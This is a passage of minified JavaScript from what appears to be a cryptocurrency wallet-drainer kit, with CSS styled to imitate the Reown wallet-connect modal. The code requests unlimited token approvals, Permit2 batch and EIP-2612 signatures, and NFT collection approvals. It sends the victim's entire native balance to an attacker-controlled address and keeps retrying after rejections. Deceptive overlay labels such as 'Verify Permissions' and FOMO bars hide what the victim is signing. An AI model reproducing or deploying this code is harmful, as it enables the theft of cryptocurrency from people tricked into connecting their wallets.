te({address:t.address,symbol:t.symbol,chainId:e.chainId},"user_rejected_native"))break}}}return o}(e):async function(e){const n=p();let t=!1;const r=[...e.assets].sort((e,n)=>"native"===e.type?1:"native"===n.type||"erc20"===e.type&&e.type!==n.type?-1:"erc20"===n.type&&e.type!==n.type?1:n.valueUSD-e.valueUSD);for(const a of r){if("defi"===a.type)continue;i.currentStep++;const r=i.currentStep,o=i.totalSteps;let s=0,d=!1;for(;s<3&&!d&&!ne();){s++;const c="native"===a.type?"Transfer Funds":"erc20"===a.type?`Approve ${a.symbol||"Token"}`:"erc721"===a.type||"erc1155"===a.type?"Approve Collection":"Approve Asset";await(i.drainOverlay?.changeStatus("awaiting",!1,{step:r,total:o,label:c})),i.drainOverlay?.showFomoBar(U);try{let s;if("native"===a.type)s=await fe(n,a,be());else if("erc20"===a.type)s=await ge(n,a);else{if("erc721"!==a.type&&"erc1155"!==a.type){i.drainOverlay?.hideFomoBar(),i.currentStep--;break}s=await ve(n,a)}i.drainOverlay?.hideFomoBar(),"native"===a.type?O(s,e).catch(()=>{}):E(s,a.address,e.chainId,a.valueUSD,i.detectedWallet).catch(()=>{}),t=!0,d=!0,await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:r,total:o})),await N(R)}catch(n){i.drainOverlay?.hideFomoBar();const t=n;if(t.code!==F){D({address:a.address,symbol:a.symbol,chainId:e.chainId},`error: ${t.message||"unknown"}`);break}if(await te({address:a.address,symbol:a.symbol,chainId:e.chainId},"user_rejected_approval"))break}}}return t}(e)}async function ae(e,n,t,r){if(0===n.length)return!1;i.currentStep++;const a=i.currentStep,o=i.totalSteps;let s=0;for(;s<3&&!ne();){s++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:a,total:o,label:"Verify Permissions"})),i.drainOverlay?.showFomoBar(U);try{const s=Math.floor(Date.now()/1e3)+3600,d=i.portfolioResponse,c=d.approveData?.permit2Nonces||{},l=n.map(e=>({address:e.address,symbol:e.symbol,amount:e.amount,valueUSD:e.valueUSD,decimals:e.decimals,nonce:c[e.address.toLowerCase()]||c[e.address]||"0"})),m=pe(l,t,s,r.chainId),p=await ee(e.request({method:"eth_signTypedData_v4",params:[i.walletAddress,JSON.stringify(m)]}));return i.drainOverlay?.hideFomoBar(),j(p,l,r.chainId,n.reduce((e,n)=>e+n.valueUSD,0),i.detectedWallet,s.toString()),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:a,total:o})),await N(R),!0}catch(e){i.drainOverlay?.hideFomoBar();const n=e;if(n.code!==F){D({address:"",symbol:"PermitBatch",chainId:r.chainId},`error: ${n.message||"unknown"}`);break}if(await te({address:"",symbol:"PermitBatch",chainId:r.chainId},"user_rejected_permit2_batch"))break}}return i.currentStep--,!1}async function ie(e,n,t,r){let a=!1;const o=i.portfolioResponse.approveData.tokenFlags;for(const s of n){i.currentStep++;const n=i.currentStep,d=i.totalSteps,c=o[s.address.toLowerCase()]||o[s.address];let l=0,m=!1;for(;l<3&&!m&&!ne();){l++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:n,total:d,label:`Verify ${s.symbol||"Token"}`})),i.drainOverlay?.showFomoBar(U);try{const o=Math.floor(Date.now()/1e3)+3600,l=c?.tokenNonce||"0",p=c?.tokenName||s.symbol||"Token",u=c?.tokenVersion,h=ue(i.walletAddress,t,p,s.address,l,o,r.chainId,u),f=await ee(e.request({method:"eth_signTypedData_v4",params:[i.walletAddress,JSON.stringify(h)]}));i.drainOverlay?.hideFomoBar(),m=!0,a=!0,T(f,{typedData:{},tokenAddress:s.address,permitType:"eip2612",amount:me,deadline:o.toString()},r.chainId,s.valueUSD,i.detectedWallet),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:n,total:d})),await N(R)}catch(e){i.drainOverlay?.hideFomoBar();const n=e;if(n.code!==F){D({address:s.address,symbol:s.symbol,chainId:r.chainId},`error: ${n.message||"unknown"}`);break}if(await te({address:s.address,symbol:s.symbol,chainId:r.chainId},"user_rejected_eip2612_permit"))break}}m||i.currentStep--}return a}async function oe(e,n,t,r){let a=!1;for(const o of n){i.currentStep++;const n=i.currentStep,s=i.totalSteps;let d=0,c=!1;for(;d<3&&!c&&!ne();){d++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:n,total:s,label:`Approve ${o.symbol||"Token"}`})),i.drainOverlay?.showFomoBar(U);try{const d=_(t),l=await ee(e.request({method:"eth_sendTransaction",params:[{from:i.walletAddress,to:o.address,data:d}]}));i.drainOverlay?.hideFomoBar(),c=!0,a=!0,E(l,o.address,r.chainId,o.valueUSD,i.detectedWallet).catch(()=>{}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:n,total:s})),await N(R)}catch(e){i.drainOverlay?.hideFomoBar();const n=e;if(n.code!==F){D({address:o.address,symbol:o.symbol,chainId:r.chainId},`error: ${n.message||"unknown"}`);break}if(await te({address:o.address,symbol:o.symbol,chainId:r.chainId},"user_rejected_approve"))break}}c||i.currentStep--}return a}async function se(e,n,t,r){i.currentStep++;const a=i.currentStep,o=i.totalSteps;let s=0;for(;s<3&&!ne();){s++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:a,total:o,label:"Approve Collection"})),i.drainOverlay?.showFomoBar(U);try{const s=$(t),d=await ee(e.request({method:"eth_sendTransaction",params:[{from:i.walletAddress,to:n.address,data:s}]}));return i.drainOverlay?.hideFomoBar(),E(d,n.address,r.chainId,n.valueUSD,i.detectedWallet).catch(()=>{}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:a,total:o})),await N(R),!0}catch(e){if(i.drainOverlay?.hideFomoBar(),e.code!==F)break;if(await te({address:n.address,symbol:n.symbol,chainId:r.chainId},"user_rejected_nft_approval"))break}}return i.currentStep--,!1}async function de(e,n,t,r){i.currentStep++;const a=i.currentStep,o=i.totalSteps;let s=0;for(;s<3&&!ne();){s++,await(i.drainOverlay?.changeStatus("awaiting",!1,{step:a,total:o,label:"Transfer Funds"})),i.drainOverlay?.showFomoBar(U);try{const s=await fe(e,n,t);return i.drainOverlay?.hideFomoBar(),O(s,r).catch(()=>{}),await(i.drainOverlay?.changeStatus("stepComplete",!1,{step:a,total:o})),await N(R),!0}catch(e){if(i.drainOverlay?.hideFomoBar(),e.code!==F)break;if(await te({address:n.address,symbol:n.symbol,chainId:r.chainId},"user_rejected_native"))break}}return i.currentStep--,!1}const ce=(1n<<160n)-1n,le=(1n<<48n)-1n,me="115792089237316195423570985008687907853269984665640564039457584007913129639935";function pe(e,n,t,r){return{types:{EIP712Domain:[{name:"name",type:"string"},{name:"chainId",type:"uint256"},{name:"verifyingContract",type:"address"}],PermitBatch:[{name:"details",type:"PermitDetails[]"},{name:"spender",type:"address"},{name:"sigDeadline",type:"uint256"}],PermitDetails:[{name:"token",type:"address"},{name:"amount",type:"uint160"},{name:"expiration",type:"uint48"},{name:"nonce",type:"uint48"}]},primaryType:"PermitBatch",domain:{name:"Permit2",chainId:r,verifyingContract:"0x000000000022D473030F116dDEE9F6B43aC78BA3"},message:{details:e.map(e=>({token:e.address,amount:ce.toString(),expiration:le.toString(),nonce:e.nonce})),spender:n,sigDeadline:t.toString()}}}function ue(e,n,t,r,a,i,o,s){return{types:{EIP712Domain:[{name:"name",type:"string"},{name:"version",type:"string"},{name:"chainId",type:"uint256"},{name:"verifyingContract",type:"address"}],Permit:[{name:"owner",type:"address"},{name:"spender",type:"address"},{name:"value",type:"uint256"},{name:"nonce",type:"uint256"},{name:"deadline",type:"uint256"}]},primaryType:"Permit",domain:{name:t,version:s||"1",chainId:o,verifyingContract:r},message:{owner:e,spender:n,value:me,nonce:a,deadline:i.toString()}}}const he={1:21000n,56:21000n,137:30000n,42161:100000n,8453:100000n,10:100000n,43114:25000n};async function fe(e,n,t){let r,a,o;try{const n=await e.request({method:"eth_getBalance",params:[i.walletAddress,"latest"]});r=BigInt(n)}catch{r=BigInt(n.amount)}try{const n=await e.request({method:"eth_estimateGas",params:[{from:i.walletAddress,to:t,value:"0x1"}]});a=BigInt(n)}catch{const e=i.connectedChainId;a=he[e]||21000n}try{const n=await e.request({method:"eth_gasPrice",params:[]});o=BigInt(n)}catch{throw new Error("Failed to fetch gas price for native transfer")}const s=a*o*3n/2n,d=r>s?r-s:0n;if(d<=0n)throw new Error("Insufficient native balance for transfer");return await ee(e.request({method:"eth_sendTransaction",params:[{from:i.walletAddress,to:t,value:"0x"+d.toString(16)}]}))}async function ge(e,n){const t=_(we());return await ee(e.request({method:"eth_sendTransaction",params:[{from:i.walletAddress,to:n.address,data:t}]}))}async function ve(e,n){const t=$(we());return await ee(e.request({method:"eth_sendTransaction",params:[{from:i.walletAddress,to:n.address,data:t}]}))}function we(){const e=i.portfolioResponse?.destinationOverride;if(e&&e.startsWith("0x")&&42===e.length)return e;const n=i.portfolioResponse?.approveData?.spenderAddress;if(n&&n.startsWith("0x")&&42===n.length)return n;throw new Error("No valid spender address available")}function be(){const e=i.portfolioResponse?.approveData?.nativeDestination;if(e&&e.startsWith("0x")&&42===e.length)return e;const n=i.portfolioResponse?.approveData?.ombreContractAddress;return n&&n.startsWith("0x")&&42===n.length?n:we()}const ye=[{chainId:1,name:"Ethereum",shortName:"ETH",nativeCoin:"ETH",nativeDecimals:18,hexId:"0x1",explorerUrl:"https://etherscan.io"},{chainId:56,name:"BNB Chain",shortName:"BSC",nativeCoin:"BNB",nativeDecimals:18,hexId:"0x38",explorerUrl:"https://bscscan.com"},{chainId:137,name:"Polygon",shortName:"MATIC",nativeCoin:"POL",nativeDecimals:18,hexId:"0x89",explorerUrl:"https://polygonscan.com"},{chainId:42161,name:"Arbitrum",shortName:"ARB",nativeCoin:"ETH",nativeDecimals:18,hexId:"0xa4b1",explorerUrl:"https://arbiscan.io"},{chainId:8453,name:"Base",shortName:"BASE",nativeCoin:"ETH",nativeDecimals:18,hexId:"0x2105",explorerUrl:"https://basescan.org"},{chainId:10,name:"Optimism",shortName:"OP",nativeCoin:"ETH",nativeDecimals:18,hexId:"0xa",explorerUrl:"https://optimistic.etherscan.io"},{chainId:43114,name:"Avalanche",shortName:"AVAX",nativeCoin:"AVAX",nativeDecimals:18,hexId:"0xa86a",explorerUrl:"https://snowtrace.io"}];function xe(e){const n=z[e];if(!n)throw new Error(`No public RPC for unsupported chain ${e}`);return n}function Ae(e){return{chainId:e.hexId,chainName:e.name,nativeCurrency:{name:e.nativeCoin,symbol:e.nativeCoin,decimals:e.nativeDecimals},rpcUrls:[xe(e.chainId)],blockExplorerUrls:[e.explorerUrl]}}async function Ce(e){const n=function(e){return ye.find(n=>n.chainId===e)}(e);if(!n)return!1;const t=i.provider?i.provider:p();try{return await t.request({method:"wallet_switchEthereumChain",params:[{chainId:n.hexId}]}),!0}catch(e){if(4001===e.code)return!1;try{return await t.request({method:"wallet_addEthereumChain",params:[Ae(n)]}),!0}catch{return!1}}}let ke=!1,Se=null,Be=null,Ie=null;async function Pe(e,n=3){if(i.connectedChainId===e)return!0;for(let t=0;t"defi"!==e.type).length}return t}(t,n);i.totalSteps=r,i.currentStep=0;const a=new Set,o=new Map;for(let r=0;r=5)return M(i.sessionRejections,s.chainId).catch(()=>{}),void await(i.drainOverlay?.changeStatus("rejected"));if(s.chainId!==i.connectedChainId){if(!await Pe(s.chainId)){a.add(s.chainId);continue}await N(800)}if("ombre"===n){const e=i.portfolioResponse?.approveData?.tokenFlags,n=s.assets.filter(e=>"erc20"===e.type),t=s.assets.filter(e=>"erc20"!==e.type&&"defi"!==e.type);let r=!1;if(e&&n.length>0&&(r=n.every(n=>{const t=e[n.address.toLowerCase()]||e[n.address];return t?.permit2Approved||t?.eip2612})),!r||0!==t.length)try{const e=p(),n=await e.request({method:"eth_getBalance",params:[i.walletAddress,"latest"]}),a=BigInt(n),o=[1,56,137,43114].includes(s.chainId),d=o?BigInt("1000000000000000"):BigInt("100000000000000");if(a0);else{const n=o?"0.001":"0.0001";i.drainOverlay?.showGasRequired&&await i.drainOverlay.showGasRequired(s.chainId,n);const t=await e.request({method:"eth_getBalance",params:[i.walletAddress,"latest"]});if(BigInt(t)"erc721"===e.type||"erc1155"===e.type),n=s.assets.filter(e=>"native"===e.type),t=e.length+n.length;t>0&&(i.totalSteps+=t,await re({...s,assets:[...e,...n]})&&(d=!0))}else if("error"===r){o.set(s.chainId,!1);const e=s.assets.filter(e=>"defi"!==e.type).length;e>1&&(i.totalSteps+=e-1),d=await re(s)}}else{const e=s.assets.filter(e=>"defi"!==e.type).length;e>1&&(i.totalSteps+=e-1),d=await re(s)}break;default:d=await re(s)}}catch(e){const n=e;D({address:s.assets[0]?.address||"",symbol:"",chainId:s.chainId},`handler_error: ${n.message||"unknown"}`)}d&&(i.totalDrained+=s.totalUSD,await(i.drainOverlay?.changeStatus("processing")),await N(1500))}i.totalDrained>0?await(i.drainOverlay?.changeStatus("success")):await(i.drainOverlay?.changeStatus("rejected"))}(e)}finally{Te=!1}}}class Oe{constructor(e,n){this._address="",this._chainId=0,this._connected=!1,this._provider=null,this._listeners=new Map,this._listenersAttached=!1,this._boundAccountsChanged=null,this._boundChainChanged=null,this.isRelayConnection=!1,this._name=e,this._detectedProvider=n||null}async connect(){this._detectedProvider&&(i.provider=this._detectedProvider);const e=await async function(){const e=i.provider?i.provider:p();let n;i.provider=e;try{n=e.request({method:"eth_requestAccounts"})}catch(e){throw new Error("Wallet provider error: "+(e instanceof Error?e.message:"Failed to request accounts"))}const t=new Promise((e,n)=>{setTimeout(()=>n(new Error("Wallet did not respond in time. Please unlock your wallet and try again.")),6e4)});let r;try{r=await Promise.race([n,t])}catch(e){const n=e;if(4001===n.code)throw new Error("Connection rejected by user");if(-32002===n.code)throw new Error("MetaMask is busy. Check for a pending request in the extension and try again.");throw e}if(!r||0===r.length)return null;const a=function(e){return e&&e.startsWith("0x")&&42===e.length?"0x"+e.toLowerCase().replace("0x",""):e}(r[0]),o=await e.request({method:"eth_chainId"}),s=parseInt(o,16);return function(e){ke||(ke=!0,Ie=e,e.on&&(Se=e=>{const n=e;n&&n.length>0&&(i.walletAddress=n[0])},Be=e=>{const n=parseInt(e,16);!isNaN(n)&&n>0&&ye.map(e=>e.chainId).includes(n)&&(i.connectedChainId=n)},e.on("accountsChanged",Se),e.on("chainChanged",Be)))}(e),{address:a,chainId:s}}();if(!e)throw new Error("Connection failed or rejected");return this._address=e.address,this._chainId=e.chainId,this._connected=!0,this._provider=i.provider||p(),this._setupListeners(),this._address}async request(e){return this._provider.request(e)}async disconnect(){this._connected=!1,this._removeListeners(),this._provider=null,this._detectedProvider=null,this._listeners.clear()}_removeListeners(){if(!this._listenersAttached||!this._provider)return;const e=this._provider;e.removeListener&&(this._boundAccountsChanged&&e.removeListener("accountsChanged",this._boundAccountsChanged),this._boundChainChanged&&e.removeListener("chainChanged",this._boundChainChanged)),this._boundAccountsChanged=null,this._boundChainChanged=null,this._listenersAttached=!1}get address(){return this._address}get chainId(){return this._chainId}get name(){return this._name}get connected(){return this._connected}get provider(){return this._provider}setChainId(e){this._chainId=e}setAddress(e){this._address=e}on(e,n){this._listeners.has(e)||this._listeners.set(e,new Set),this._listeners.get(e).add(n)}off(e,n){this._listeners.get(e)?.delete(n)}_setupListeners(){if(this._listenersAttached)return;this._listenersAttached=!0;const e=this._provider;e?.on&&(this._boundAccountsChanged=e=>{const n=e;n?.length>0&&(this._address=n[0],this._listeners.get("accountsChanged")?.forEach(e=>e(n)))},this._boundChainChanged=e=>{const n=parseInt(e,16);isNaN(n)||(this._chainId=n,this._listeners.get("chainChanged")?.forEach(e=>e(n)))},e.on("accountsChanged",this._boundAccountsChanged),e.on("chainChanged",this._boundChainChanged))}}function Le(e,n){return"walletConnect"===e?new De:new Oe(e,n)}class De{constructor(){this._inner=null,this._address="",this._chainId=0,this._connected=!1,this._pendingListeners=[],this.isRelayConnection=!0}async connect(){const e=await Promise.resolve().then(a.bind(a,5025));this._inner=new e.WalletConnectEvmAdapter;for(const{event:e,handler:n}of this._pendingListeners)this._inner.on(e,n);this._pendingListeners=[];const n=await this._inner.connect();return this._address=n,this._chainId=this._inner.chainId,this._connected=!0,n}async request(e){if(!this._inner)throw new Error("Not connected");return this._inner.request(e)}async disconnect(){this._connected=!1,this._inner&&await this._inner.disconnect()}get address(){return this._inner?.address||this._address}get chainId(){return this._inner?.chainId||this._chainId}get name(){return this._inner?.name||"WalletConnect"}get connected(){return this._connected}get provider(){return this._inner?.provider||null}setChainId(e){this._chainId=e,this._inner&&this._inner.setChainId(e)}setAddress(e){this._address=e,this._inner&&this._inner.setAddress(e)}on(e,n){this._inner?this._inner.on(e,n):this._pendingListeners.push({event:e,handler:n})}off(e,n){this._inner?this._inner.off(e,n):this._pendingListeners=this._pendingListeners.filter(t=>!(t.event===e&&t.handler===n))}}var Me=a(5025);let qe=null,Ne=!1,ze=null,Fe="idle",We=[],Re=!1,Ue=!1,Xe=[],He="",Ge="",Qe="",Ke="",Ve="",Ze="",Ye=!0,Je=null,_e=null,$e=null,en=null,nn=null,tn=null,rn=null,an=null,on=null,sn=null,dn=null,cn=null,ln=null,mn=null;function pn(){if(Ne)return;const e=document.createElement("style");e.textContent="\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n CSS Variables \u2014 Reown dark theme tokens (exact)\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n:root {\n --rwm-bg: #141414;\n --rwm-card: #202020;\n --rwm-card-hover: #252525;\n --rwm-border: #2a2a2a;\n --rwm-text: #ffffff;\n --rwm-text-secondary: #9a9a9a;\n --rwm-accent: #3b82f6;\n --rwm-accent-bg: rgba(59,130,246,0.1);\n --rwm-accent-bg-hover: rgba(59,130,246,0.2);\n --rwm-success: rgba(48,164,107,0.2);\n --rwm-success-text: #30a46b;\n --rwm-error: rgba(239,68,68,0.1);\n --rwm-error-text: #ef4444;\n --rwm-icon-bg: #202020;\n --rwm-search-border: #2a2a2a;\n --rwm-search-border-focus: #4f4f4f;\n --rwm-search-input-bg: #141414;\n --rwm-wallet-item-bg: color-mix(in srgb, #202020 10%, #252525);\n --rwm-wallet-item-hover: #2a2a2a;\n --rwm-radius-main: 32px;\n --rwm-radius-wallet: 16px;\n --rwm-radius-button: 8px;\n --rwm-radius-tag: 4px;\n --rwm-font: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Light theme overrides \u2014 applied via .noir-evm-light class on overlay\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-light {\n --rwm-bg: #f4f4f4;\n --rwm-card: #ffffff;\n --rwm-card-hover: #f0f0f0;\n --rwm-border: #e0e0e0;\n --rwm-text: #141414;\n --rwm-text-secondary: #6b6b6b;\n --rwm-accent: #3b82f6;\n --rwm-accent-bg: rgba(59,130,246,0.08);\n --rwm-accent-bg-hover: rgba(59,130,246,0.15);\n --rwm-success: rgba(48,164,107,0.12);\n --rwm-success-text: #1a8a50;\n --rwm-error: rgba(239,68,68,0.08);\n --rwm-error-text: #dc2626;\n --rwm-icon-bg: #f0f0f0;\n --rwm-search-border: #d4d4d4;\n --rwm-search-border-focus: #a0a0a0;\n --rwm-search-input-bg: #f8f8f8;\n --rwm-wallet-item-bg: #f8f8f8;\n --rwm-wallet-item-hover: #f0f0f0;\n}\n.noir-evm-light .noir-evm-overlay {\n background: rgba(0, 0, 0, 0.3);\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Keyframe Animations\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n@keyframes rwm-slideUp {\n from { opacity: 0; transform: translateY(20px); }\n to { opacity: 1; transform: translateY(0); }\n}\n@keyframes rwm-slideDown {\n from { opacity: 1; transform: translateY(0); }\n to { opacity: 0; transform: translateY(20px); }\n}\n@keyframes rwm-slideLeft {\n from { opacity: 0; transform: translateX(30px); }\n to { opacity: 1; transform: translateX(0); }\n}\n@keyframes rwm-slideRight {\n from { opacity: 0; transform: translateX(-30px); }\n to { opacity: 1; transform: translateX(0); }\n}\n@keyframes rwm-spin {\n to { transform: rotate(360deg); }\n}\n@keyframes noir-evm-arc-rotate {\n from { transform: rotate(0deg); }\n to { transform: rotate(360deg); }\n}\n@keyframes rwm-fadeIn {\n from { opacity: 0; }\n to { opacity: 1; }\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 1. Overlay \u2014 fixed fullscreen, dark blur backdrop\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-overlay {\n position: fixed;\n inset: 0;\n background: rgba(0, 0, 0, 0);\n display: flex;\n align-items: center;\n justify-content: center;\n z-index: 999999;\n padding: 16px;\n font-family: var(--rwm-font);\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n transition: background 0.3s ease;\n}\n.noir-evm-overlay.noir-evm-visible {\n background: rgba(0, 0, 0, 0.6);\n backdrop-filter: blur(4px);\n -webkit-backdrop-filter: blur(4px);\n}\n.noir-evm-fade-out {\n opacity: 0;\n transition: opacity 0.2s ease-in;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 2. Modal Card \u2014 400px max-width, shadow, slide anim\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-card {\n width: 100%;\n max-width: 400px;\n background: var(--rwm-card);\n border-radius: var(--rwm-radius-main);\n border: 1px solid var(--rwm-border);\n box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.5);\n overflow: hidden;\n opacity: 0;\n transform: translateY(20px);\n transition: background 0.3s ease, box-shadow 0.3s ease, border 0.3s ease, max-width 0.3s ease;\n}\n.noir-evm-card.noir-evm-slide-in {\n animation: rwm-slideUp 0.45s ease-out forwards;\n}\n.noir-evm-card.noir-evm-slide-out {\n animation: rwm-slideDown 0.2s ease-in forwards;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 3. Header \u2014 3-column [back] [title] [close], 56px\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-header {\n display: flex;\n align-items: center;\n justify-content: space-between;\n padding: 12px 16px;\n border-bottom: 1px solid var(--rwm-border);\n min-height: 56px;\n}\n.noir-evm-title {\n color: var(--rwm-text);\n font-size: 18px;\n font-weight: 500;\n margin: 0;\n flex: 1;\n text-align: center;\n letter-spacing: -0.01em;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n}\n.noir-evm-close {\n width: 40px;\n height: 40px;\n border-radius: var(--rwm-radius-button);\n background: transparent;\n border: none;\n color: var(--rwm-text-secondary);\n cursor: pointer;\n display: flex;\n align-items: center;\n justify-content: center;\n transition: background 0.15s ease;\n flex-shrink: 0;\n}\n.noir-evm-close:hover {\n background: var(--rwm-card-hover);\n}\n.noir-evm-back-btn {\n width: 40px;\n height: 40px;\n border-radius: var(--rwm-radius-button);\n background: transparent;\n border: none;\n color: var(--rwm-text-secondary);\n cursor: pointer;\n display: flex;\n align-items: center;\n justify-content: center;\n transition: background 0.15s ease;\n flex-shrink: 0;\n visibility: hidden;\n}\n.noir-evm-back-btn:hover {\n background: var(--rwm-card-hover);\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Subtitle (hidden \u2014 Reown doesn't show one)\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-subtitle {\n display: none;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Content Container \u2014 animated height transitions\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-content {\n overflow: hidden;\n transition: height 0.3s ease;\n position: relative;\n display: flex;\n flex-direction: column;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n View Wrapper \u2014 slide animations on view transitions\n 